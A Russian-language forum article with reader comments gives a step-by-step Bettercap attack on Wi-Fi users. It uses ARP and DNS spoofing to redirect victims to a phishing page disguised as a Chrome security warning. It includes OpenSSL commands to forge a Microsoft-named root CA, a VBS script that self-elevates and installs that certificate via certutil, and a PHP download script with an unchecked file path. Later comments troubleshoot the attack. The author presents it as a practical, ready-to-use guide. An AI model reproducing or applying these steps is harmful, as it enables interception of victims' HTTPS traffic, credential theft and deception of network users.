Статья Bettercap 2.* Атака на WiFi сети - DNS&ARP Spoofing - Внедрение само-подписанного сертификата.

Содержание
  1. Предисловие
  2. Краткое описание
  3. Подготовка
    • Создание само-подписанного сертификата
    • Создание фишинговой HTML страницы
  4. Проведение атаки
  5. Итог проведённой атаки
  6. Анонс
Предисловие

В ходе цикла статей по Bettercap 2.*, решил выпустить "сезон подробных примеров" применения техник проведения атак использую фрэймворк Bettercap.
В этом "сезоне подробных статей" из цикла bettercap 2, будет подробно описаны примеры продуктивных атак, начиная с концепции и заканчивая проведением атаки в WiFi сетях.Подобные статьи описываются поверхностно и содержат только теоретическое содержание с минимальными инструкциями которые будут пригодными для практического применения. Эти статьи будут расписаны самым подробным образом и будут содержать подробные инструкции пригодные для практического применения в текущих реалиях.

Начнём с самого опасного и самого продуктивного примера проведения фишинговой атаки, которая будет внедрять само-подписанный SSL сертификат. Положительный результат проведённой атаки будет сказываться на остальных примерах атак.

DNS&ARP Spoofing - Внедрение само-подписанного сертификата.

Краткое описание проведения атаки.

Техника "DNS spoofing" используется для подмены IP адреса привязанного к доменному имени, подменив который заставляют посетить необходимый сервер.Подмена используется для того что бы атакуемая цель получила полезную нагрузку, либо для того что бы спровоцировать атакуемую цель на передачу ключей авторизации или другой необходимой информации в руки атакующего.
Техника "ARP spoofing" используется для подмены MAC адреса который привязан к необходимому IP адресу. Таким образом заставляют отправлять сетевые пакеты по необходимому маршруту. Для того что бы атаковать целенаправленно используют технику "ARP spoofing" с указанием IP адреса атакуемого.

Атака "DNS&ARP Spoofing - Install rogue certificate." использует две эти техники таким образом, что бы заставить атакуемую цель скачать само-подписанные сертификаты и установить эти сертификаты в внутренние хранилище сертификатов на атакуемой машине.
Атакующий поднимает HTTP сервер, на котором размещается страница с провоцирующим на установку само-подписанных сертификатов сообщением и ссылками для скачивания сертификатов.
Сообщение обязано быть в первую очередь правдоподобным и не вызывать каких либо сомнений у пользователя под управлением которого атакуемая машина.

После того как поддельные сертификаты будут установлены на атакуемом хосте, атакующий использует сертификаты для прослушивания сетевого трафика, а так же управлением этого трафика.
Установка сертификатов на атакуемом хосте, открывают HTTPS трафик для открытого просмотра и трафик читается так как читается трафик HTTP.

Подготовка

Создание само-подписанного сертификата

Для создания само-подписанного SSL сертификата будет использоваться криптографическая библиотека (скачать можно или с GitHub, для Windows ).
Действия будут проводится в ОС Windows, но в других ОС порядок действий будет таким же и ни чем отличаться не будет.
Первое - сертификат должен правдоподобно выглядеть и содержать названия и имена компании на которую будет опираться предлог установки сертификатов. То есть сертификат будет поддельным и похож на легитимный сертификат официально зарегистрированной компании.
Так как в качестве атакуемой цели будет хост на борту которого установлена ОС Windows, то и сертификат будет подделываться под компанию Microsoft. Для MacOS сертификат соответственно будет подделываться под компанию Aplle, а вот под Unix подобную ОС, придётся подбирать в зависимости установленного дистрибутива или броузера в котором происходит сёрфинг по просторам сети интернет.

Идём на официальный сайт Microsoft " " и копируем содержание сертификата, поле "издатель":

img1.png


Теперь используя OpenSSL создаём поддельный центр сертификации в котором поля будут содержать текст аналогичный microsoft.
Создаём приватный ключ, файл "prive.key":
Код:
openssl genrsa -out prive.key 4096
Теперь генерируем сертификат, вариант заполнять поля в режиме консоли:
Код:
openssl req -new -x509 -days 365 -key prive.key -out ca.pem
img2.png


Либо создать файл конфигурации "cfg" (или другим именем) который будет содержать в себе следующее:
Код:
[ req ]
default_bits           = 2048
default_keyfile        = prive.key
distinguished_name     = req_distinguished_name
prompt                 = no
[ req_distinguished_name ]
CN=US
ST=Washington
L=Redmond
O=Microsoft Corporation
OU=Microsoft IT
CN=Microsoft IT TLS CA 4
Содержимое файла конфигурации изменяется в зависимости компании на которую будет подделываться сертификат и желаемой правдоподобности подделанного сертификата.
И обратимся к OpenSSL с следующей командой:
Код:
openssl req -new -x509 -days 365 -config cfg -key prive.key -out ca.pem
Сертификат с приватным ключом создан.Полученные файлы будут использоваться в Bettercap, файл "ca.pem" будет задействован в vbs скрипте для автоматической установки в хранилище сертификатов на атакуемой машине.
Для установке на атакуемом хосте двойным нажатием правой кнопки мыши конвертируем из "pem" в "crt" следующей командой:
Код:
openssl x509 -outform der -in ca.pem -out ca.crt
Создание фишинговой HTML страницы

Возможно создание страницы с содержащей текст ошибки или уведомления об какой либо ошибки безопасности, главное что бы содержание страницы не вызвало ни какого подозрения и спровоцировало на установку предложенных сертификатов.
Как правдоподобный вариант в приведённом примере будет использоваться переделанная страница с предупреждением браузера Firefox : " Предупреждение: Вероятная угроза безопасности".

img3.png


Получаем исходный код такой страницы и редактируем подделывая под ошибку вызванную ОС или броузером, с содержащей в итоге сообщение в котором будет говорится о том, что установить сертификаты с ссылок это необходимость которая решит проблему безопасности.И без установки сертификатов дальнейший сёрфинг по сети интернет невозможен.
Страница используемая при ошибках или предупреждениях Google Chrome выглядит чище и вызывает большее доверие, поэтому решил редактировать и адаптировать под нужды страницу Chrome.

img4.png


Возможно копирование страницы, возможно будет принято другое решение и создадите другую страницу которая будет правдоподобней, но выбор пал на страницу Chrome. Не много подправив, получаем вот такую страницу:

img5.png


Для автоматической установки сертификата на атакуемый хост будет использоваться простейший vbs скрипт:
Код:
Dim str

str = "-----BEGIN CERTIFICATE-----MIIFgzCCA2sCFG2WNJLchKu9Rr0/HjscNBl9E0u+MA0GCSqGSIb3DQEBCwUAMH4xEzARBgNVBAgMCldhc2hpbmd0b24xEDAOBgNVBAcMB1JlZG1vbmQxHjAcBgNVBAoMFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECwwMTWljcm9zb2Z0IElUMR4wHAYDVQQDDBVNaWNyb3NvZnQgSVQgVExTIENBIDQwHhcNMTkwNTE4MTYyODUwWhcNMjAwNTE3MTYyODUwWjB+MRMwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdSZWRtb25kMR4wHAYDVQQKDBVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsMDE1pY3Jvc29mdCBJVDEeMBwGA1UEAwwVTWljcm9zb2Z0IElUIFRMUyBDQSA0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwe2T/4cYlCPrc47l/ksv2dA4VQYEJ6zcSIO86me09YMiDRfCE2d/zK6w7mDCOPbedlcoOXeMegrG3qNPXHIIAg1669KQTuaHEYqKkEnh20EMEbRwQIV2+dmfftfErPkV9LNft1/SNdTEzAkcEO9Youg/2QmD3sUWdFOOF0nHLv8S3NpVCSmAAbuQw6l54YfgNNLng0cRcdapFjOVW7B6KXQQpEE/JC8Vj6Mt3LZHkE8KirpL7q6QO5Bis7GQCkqtNbedjAN7hu2XszuTxwT7fvGP6nYQMR5qFxoq0YuAMAYHB9iFCuZe6WLo6RcE50KIC096Adbkt/iJwoWphQGjTzQPo7tYjcUA2JuBRL6YyTQv8Nne/fHl40FZybKziYzx4CyuVvyYLEqkfPKMT84WrnKcKhzbw7yfgnacsmR7hmVCBms9HsYA/8APqU/MgtYR3ppO5/PeitUpe7JLF1/Cs1MPmyI84UnYwR2r2Q3EH5mH+aVKJKUtEDihhaXRztvhx5xTHd4zPEiTT0FUZFDnfeQxlPsgSCG/iPFKEhW0nFBU0Plhmlep4QqW+AJnX6QGV9rn67adM/k0c0T6lQ/AFfR+ps5pYh5QUP4nnwy9OZ2kxIeHinFA1CzRZM4V27+QF20ZFc3Je2e/tXqJ3CGhA2azsAcHHFfCLT91qzghbb8CAwEAATANBgkqhkiG9w0BAQsFAAOCAgEAixpRvb8Unh5pl2tikgBds7MSF3KLi2Jf8mhMTWYaaNZagFrlYhtSzHTIpV+jt60YVK/RKhO2kSzmas0wUTlenV2OINcK5inE/U4ZlSwAq6hJwOmrxZXPT9axFr168/+7k/4ByymICRT240EHjskjdmyjaEu0JMGMggMVN4pUqsXVSiJYmARJQL9gB4/JFvi4s0E+RCAfFlkjaC1EvOQqcKYXE1OOAzzOUugD/yTAHJfvDeYhD0H6Sk/xGVTwiF21kNTRO9XP96cXPV6jS7Pn6XmH7qGZTbCsLK/okDOyv3/rBTh0vj8MdwuEq/aPahV7pC1dPtsqAHQ8UeOiA32VevyOLKalteFMlamH/gUjeuiShwAgc5rYO6o7s0u3Ien4g1n63dIyqVwF6LLESFDvPOZC36y8m2ScOa40dcBPwuMOysmZGOHx/zXNEBZaDuMhWNPIXhtVaUJHCHe9c1f92d/jKa/FBEp80iMUkFvIkU/mn352d0LM38XIv9vxBq0p5QDFZ/s3P0VG3jDhBUS77PlPzE11DKny0XDL8f7h+o52d6btGF/mVGaDSOAXiDeT7oyoIYxLeL1TxYkQjQt9rEQSItoAbHSyKd8+OeilM3UFxoVq6x/55SkgIPPC3X3O8+Npi3CUmqKso1/bRu14KQwA+uZ0AF0gHXbLC+fCBtE=-----END CERTIFICATE-----"

Set objFSO=CreateObject("Scripting.FileSystemObject")


outFile="certificate_microsoft.crt"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write str
objFile.Close
Set WshShell = WScript.CreateObject("WScript.Shell")
  If WScript.Arguments.length = 0 Then
  Set ObjShell = CreateObject("Shell.Application")
  ObjShell.ShellExecute "wscript.exe", """" & _
  WScript.ScriptFullName & """" &_
  " RunAsAdministrator", , "runas", 1
  End if

Dim objShell
Set objShell = WScript.CreateObject ("WScript.shell")
objShell.run "certutil -addstore -f AuthRoot certificate_microsoft.crt"
Set objShell = Nothing
Содержимое переменной "str" меняется на содержание файла созданного сертификата "ca.crt", для корректной работы скрипта переносы строк из файла сертификата удаляются.
Исходный код отредактированной страницы будет во вложение, так как исходный код содержит много символов.

Ещё один стратегический момент который будет обнаружен во время атаки, это ошибка сервера "404 File Not Found.".
Так как не известно с какого адреса будет переадресован атакуемый, создаётся свод правил в виде ".htaccess" файла:
Код:
RewriteEngine On

RewriteCond %{SCRIPT_FILENAME} !-d
RewriteCond %{SCRIPT_FILENAME} !-f

RewriteRule ^(.*)$ ./
Этот файл помещается в корневую директорию поддельного сайта где расположена созданная страница.Таким образом, с какой бы страницы не перебросило атакуемого, в адресной строке адрес не изменится и атакуемый не увидит ошибки "404 File Not Found.".
Для корректной загрузки файлов при нажатие на ссылки или кнопку, создадим "php" скрипт который будет отдавать необходимые файлы вместо того что бы показывать содержимое файлов.Создадим папку "cert" и поместим в эту папку скрипт с именем "index.php" и содержимым:
Код:
<?php

if(file_exists($_GET["dwn"]))
{
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=" . urlencode($_GET["dwn"]));
    header("Content-Length: " . filesize($_GET["dwn"]));
    readfile($_GET["dwn"]);
}

?>
В папку "cert" поместим скрипт vbs с именем "certificate_install.vbs" и созданный сертификат, назовём "certificate_microsoft.crt", если имена совпадают, то возможно использование страницы которая будет во вложение.
Ещё один момент с HTTP сервером, так как "http.server" в bettercap не понимает правил и файлов htaccess, то использовать будет лучше Apache.

Проведение атаки

В качестве атакующей стороны будет хост с установленной ParrotOS, в которой установлен Bettercap, в качестве атакуемой стороны будет хост с установленной Windows 7, с Windows моложе 7 обязано работать так же.
Помещаем файлы фишинговой страницы в директорию сервера и запускаем apache:
Код:
sudo service apache2 start
Далее запускаем bettercap и используем следующие опции:
Код:
sudo bettercap

set dns.spoof.address 192.168.0.14
set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set arp.spoof.targets 192.168.0.13
  • set dns.spoof.address 192.168.0.14 - Указываем IP адрес который будет подставляться, адрес атакующего сервера.
  • set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip,*.рф - Здесь указываем домены с которых будет перебрасывать на сервер атакующего, возможно указать конкретный адрес, но лучше указать домены первого уровня.
  • set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip,*.рф - Аналогично опции dns.spoof.domains.
  • set arp.spoof.targets 192.168.0.13 - Указываем IP адрес атакуемого хоста.

Теперь запускаем "модули":
Код:
dns.spoof on
dhcp6.spoof on
arp.ban on
  • dns.spoof on - Включаем DNS spoofing который будет отправлять IP атакующего сервера на запросы атакуемого хоста.
  • dhcp6.spoof on - Аналогично, но касается адресов IP6.
  • arp.ban on - Включаем глушение сети относительно атакуемого хоста.

Как результат с использованием защищённого соединения HTTPS на атакуемом хосте броузер будет выводить подобные сообщения:

img6_codeb.png


При нажатие на кнопку будет перекидывать на фишинговую страницу которую приготовил атакуемый:

img7_codeb.png


Такие сообщения выводит броузер Firefox, броузер Chrome будет выводить аналогичные сообщения и вести себя аналогично:

img8_codeb.png


img9_codeb.png


Что касается случаев с использованием незащищённого HTTP соединения на атакуемом хосте, то сообщение с просьбой подключения к сети будет игнорироваться и будет сразу выводится фишинговая страница не перебрасывая ни на какие адреса:

img11_codeb.png


Нажимая на кнопку сертификат свободно загружается:

img10_codeb.png


Для того что бы понять что сертификат скачен, добавим кусок кода в php скрипт :
Код:
$f=fopen("log.txt","a+");
fwrite($f,$_GET["dwn"]);
fclose($f);
Вставить этот кусок кода в конец скрипта , перед закрывающей скобкой "}".
Таким образом при скачивание сертификата или скрипта с сервера атакуемого, в директории "cert" будет создан файл "log.txt" и в котором будет указано имя файла который будет скачен.

Итог проведённой атаки

Как результат установленного сертификата на атакуемом хосте, атакующий используя этот сертификат в bettercap будет читать и управлять трафиком на атакуемом хосте при использование защищённого соединения HTTPS, так же как и при использование незащищённого HTTP.

img13_codeb.png


img14_codeb.png


img12_codeb.png


Имея ключ сертификата возможна расшифровка перехваченного трафика, так же помимо внедрения кода JS, возможно фишинговое обновление для обновлений установленных программ и обновлений windows.

Анонс

Продолжим с техники внедрения JS кода в HTML код страниц, рассмотрим подробно пример внедрения скрипта фрэймворка Beef-xss, в ходе которого будет приведён простейший пример кода написанного на языке "Golang" для получение удалённого доступа. Так же будут приведены примеры простейшего JS кода, которые будут нести скорее шуточный характер.
Далее в сезоне будут описаны примеры внедрения HTML тэга "iframe", который будет альтернативным решением для перехвата ключей авторизации в условиях отключения JS скриптов.

Продолжение следует...
 

Вложения

  • fls.zip
    fls.zip
    47,6 КБ · Просмотры: 429
У кого-то получилась атака ARP-spoofing?
Тестировал на смартфоне Xiaomi и Windows 8.1
Смартфон не пускает на фейковую страницу, а на Винда как работала, так и работала.
Может ARP-spoofing уже не актуален?
 
У кого-то получилась атака ARP-spoofing?
Тестировал на смартфоне Xiaomi и Windows 8.1
Смартфон не пускает на фейковую страницу, а на Винда как работала, так и работала.
Может ARP-spoofing уже не актуален?
Пробовал на прямую с телефона на фейковую страничку заходить?
Страница работает?

Screenshot_20190522-195430.png


Скорей всего что то и где не так, сейчас затестил на смартфоне sony и на планшете, всё работает:

Screenshot_20190522-195346.png


Сначала просит подключится к сети, после появляется заветная страница.
Где то у тебя ошибка.
Настройки апача правил?
Страница по таким адресам доступна?
 
Если заходить на сайт на прямую с телефона или компьютера, сайт виден.
Страница localhost/ не доступна.
Настройки Апача не трогал.
И еще, когда напрямую скачал сертефикат на компьютер, лог файл (о скачивании) не появился.
 
не подумал что элементарные и очевидные вещи, такие как выставление прав на запись в директориях, это будет проблема.
PHP:
sudo [B]chmod 755 /var/www/html/cert[/B]
/var/www/html/cert - Это путь до директории "cert".
Для того что бы apache читал файлы htaссess, необходимо подправить конфиг apache /etc/apache2/apache2.conf
Код:
sudo nano /etc/apache2/apache2.conf
Найти строку типа <directory />, в ней должен быть указан путь к сайту, что то вроде <directory /www/html/>.
Ниже найти строку allowowoveride none и заменить none на all, или FileInfo.
После этого страница будет доступна по любому адресу.

и в опции "set dns.spoof.address" какой ip указываешь?
 
Последнее редактирование:
и в опции "set dns.spoof.address" какой ip указываешь?
свой (атакующий)

Доступ 755 к директории /var/www/html/cert поставил.

Пробовал поменять значения в настройках Apacha all и FileInfo, результат не дал.
Когда напрямую скачал сертефикат на компьютер, лог файл (о скачивании) не появился
 
29989


set dns.spoof.address 192.168.0.14 - ip атакующего, напротив интерфейса wlan0, ни какой другой в твоём случае указывать не надо.
атакую к примеру galaxy-s10, в опции arp.spoof.targets указываем 192.168.0.11 - и ни какого другого.
По адресу должна отображаться твоя страница, не по localhost, именно по 192.168.0.14 на атакуемом хосте.
Лог файл пишется при нажатие на кнопку или ссылку в твоей странице, по прямой ссылке лог php писать не будет, ты напрямую обращаешься к серверу и с php в этом случае ни как не взаимодействуешь.
Только что проверил на galaxy s10, всё работает.

Пробовал поменять значения в настройках Apacha all и FileInfo, результат не дал.
Содержимое файла /etc/apache2/apache2.conf покажи.
 
Последнее редактирование:
Код:
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See Apache HTTP Server Version 2.4 Documentation - Apache HTTP Server Version 2.4 for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#    /etc/apache2/
#    |-- apache2.conf
#    |    `--  ports.conf
#    |-- mods-enabled
#    |    |-- *.load
#    |    `-- *.conf
#    |-- conf-enabled
#    |    `-- *.conf
#     `-- sites-enabled
#         `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:core - Apache HTTP Server Version 2.4>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
    Options FollowSymLinks
    AllowOverride None
    Require all denied
</Directory>

<Directory /usr/share>
    AllowOverride None
    Require all granted
</Directory>

<Directory /var/www/>
    Options Indexes FollowSymLinks
    AllowOverride FileInfo
    Require all granted
</Directory>

#<Directory /srv/>
#    Options Indexes FollowSymLinks
#    AllowOverride None
#    Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
    Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
 
Ввел эти две команды в терминал, ничего не изменилось.
Смартфон тупо зависает при открытии любой ссылки под атакой, компьютеры Win 8.1 и Win 10 атаку даже не замечают.
Код:
bettercap -iface wlan1

set dns.spoof.address 192.168.100.12 // атакующий
set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set arp.spoof.targets 192.168.100.10 // жертва

dns.spoof on
dhcp6.spoof on
arp.ban on
 
Ввел эти две команды в терминал, ничего не изменилось.
Смартфон тупо зависает при открытии любой ссылки под атакой, компьютеры Win 8.1 и Win 10 атаку даже не замечают.

Если подключен к проводному интернету, отключись и подключись к wifi сети, после вводи поочерёдно:
Код:
sudo su
chmod 777 /var/www/html
echo 1 > /proc/sys/net/ipv4/ip_forward
service apache2 start
bettercap
set dns.spoof.address 192.168.100.12 // атакующий
set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set arp.spoof.targets 192.168.100.10 // жертва

dns.spoof on
dhcp6.spoof on
arp.ban on
При включение bettercap должна быть строка 192.168.0.0/24>192.168.0.**
На следующей неделе, если будет время сниму небольшое видео к этой статье.
 
Последнее редактирование:
На следующей неделе, если будет время сниму небольшое видео к этой статье.
Видео - это отлично. Но не забудь хоть как-то прокомментировать движения курсора. Не утруждай зрителя телепатией. Надеюсь.это будет не глухо-немое кино.
 
@centr Отличная статья, хорошее оформление. Буду ждать продолжения. Заметил 1 но, если на атакуемой машине переходить по закладкам то будет так:
31507
А если уже вводить руками в адресную строку, то все работает.
 
Через пару месяцев, врятле раньше получится, так как сейчас лето и большой поток туристов. Времени практически нет. Ноут взял, но времени нет.
 
  • Нравится
Реакции: PoLMoRFi и Zhacer
"Содержимое переменной "str" меняется на содержание файла созданного сертификата "ca.crt", для корректной работы скрипта переносы строк из файла сертификата удаляются."
ету строчку не понял, там ведь (.....B 92 1C 18 EB 36 FC E4 E8 FD CC 9D 5B B8 7C BC A8 84 ED EE 49 F3 71 05 E9 D5 8B FB A3 3B CB 2B 90 C9 36 43 C4 07 9B 28 87 FB 5A F7 99 52 5F 1B D6 BD 19 5D 36 0F 50 85 21 0A 93 99 C1 D1.....)

без видео никак
 
В чем может быть ошибка?

Атакующая - 192.168.1.54
Атакуема - 192.168.1.54

При проведении атаки выяснилось что bettercap подменяет только несуществующие сайты.
К примеру при попытке подключиться к vk.com браузер думает что нет соединения, а при попытке подключения к wedfghjsdhjsdghs.com атака проходит успешно и меня перенаправляет на сайт с сертификатом. С http тоже самое.
 
В чем может быть ошибка?

Атакующая - 192.168.1.54
Атакуема - 192.168.1.54

При проведении атаки выяснилось что bettercap подменяет только несуществующие сайты.
К примеру при попытке подключиться к vk.com браузер думает что нет соединения, а при попытке подключения к wedfghjsdhjsdghs.com атака проходит успешно и меня перенаправляет на сайт с сертификатом. С http тоже самое.
если делаешь спуфинг, чекни nslookup днс серва. возможно, у тебя стоять гугловские или опен днс.
И дигом чекни респонс со своего днс сервера
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!